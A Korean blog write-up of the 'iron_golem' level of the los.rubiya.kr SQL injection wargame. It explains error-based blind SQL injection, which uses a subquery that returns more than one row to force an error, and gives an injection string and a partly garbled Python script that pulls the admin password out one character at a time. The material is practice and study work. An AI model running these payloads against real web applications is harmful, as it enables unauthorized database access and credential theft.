DoR@Hee의 끄적끄적
los - iron_golem 본문
문제 지금까지 와 문제는 다른 문제이다 Hello guest, Hello admin 등 결괏값에 따른 문자열을 찾아볼 수 없고
sleep, benchmark 등 time based sql injection 구문을 막고 있다.
문제를 확인 하기 위해서 '(싱글 쿼터)를 입력하니 Error 가 나왔다 즉 Error를 기반으로 문제를 풀어야 한다는 것을
알았다.
문제를 풀기 위해 일단 SELECT 1 UNION ALL SELECT 1 || SELECT 1 UNION SELECT 2를 이용하기로 했다
select 1 union all select1를 이용할 경우는
위 그림과 같은 레코드 값을 반환한다 이유는 UNION ALL 같은 경우는 중복 값을 포함하기 때문이고
위와 같이 구문을 select 2 union select 1를 이용하여야 레코드 값이 2개가 나온다
만약? select 1 union select 1 를 입력 시 레코드 값이 1개만 나와서 에러 값이 안 나온다.
또한 여기서 중요한점은 메인 쿼리 서브 쿼리 개념인데
SQL에 포함된 또 다른 SQL을 서브 쿼리 한다.
서브쿼리는 SELECT절, FROM절, WHERE절, HAVING절에 사용될 수 있으며,
서브 쿼리는 메인 쿼리가 실행되기 전에 먼저 실행되며
서브 쿼리에서는 메인 쿼리의 모든 칼럼을 참조할 수 있지만 메인 쿼리에서는 서브 쿼리의 칼럼을 참조할 수 없다
또한 서브쿼리는 하나 이상의 레코드 값이 반환되면 에러를 발생하는데
그것이 "Subquery returns more than 1 row"이다
위와 같이 쿼리를 SELECT * FROM `prob_iron_golem` WHERE id ='admin' and (SELECT 1 UNION ALL SELECT 1)
같이 작성한다면 반환 값은
위와 같이 나타나게 된다 그럴 경우 서브 쿼리에서 반환하는 레코드 값이 2개 이상이기 때문에 에러가 발생한다.
그걸 이용하여서 mysql에서 쿼리를 작성해 보자면
파란색 부분은 메인 쿼리 빨간색 부분은 서브 쿼리인걸 확인할 수 있다
다시 문제로 돌아가 보면 일단 admin 값에 따른 pw를 알아보기 위해서
위와 같이 쿼리를 작성했다
문제를 풀기 위해 if문을 사용하였으며
if문은 if(조건식, 참, 거짓)으로 사용하며
쿼리를 해석해보자면 만약 admin pw의 길이가 68자리 일 경우! 쿼리에러를 발생하고 아니면 2를 출력한다
pw 의 길이가 68자리인걸 확인할 수 있었고
엄청 고생했던 문제인 xavis 문제 때문에 미리 pw 한 글자의 길이를 알아봤다. 길이가 4 일 때 에러가 발생했고,
멀티 바이트 한글인걸 유추할 수 있었다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
import requests
session = {'PHPSESSID': 'bfk4pc7objn53qlj95glfk6ja2'}
data = {}
flag = ""
print("[∞] flag : ", end='')
for i in range(1, 68):
a = 0
b = 100000
while b - a != 0:
center = a + (b - a) // 2 + 1
data['pw'] = "' or id='admin' and if(ord(mid(pw,"+str(i)+",1))<"+str(center)+",(select 1 union select 2),1)#"
b = center - 1
else:
a = center
print(chr(a), end='')
flag = flag + chr(a)
data['pw'] = flag
print("\n[♪] IRON_GOLEM Clear!")
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4f; text-decoration:none">Colored by Color Scripter
|
[코드 1] 파이썬 코드
그걸 이용해서 파이썬 코드를 작성해보면
추가적으로
위 블로그에서 mysql 에러를 볼 수 있다.
'WarGame > los(los.rubiya.kr)' 카테고리의 다른 글
los - dark_eyes (0) | 2019.04.26 |
---|---|
los - dragon (0) | 2019.03.30 |
los - xavis (1) | 2019.03.30 |
los - nightmare (0) | 2019.03.29 |
los - succubus (0) | 2019.03.28 |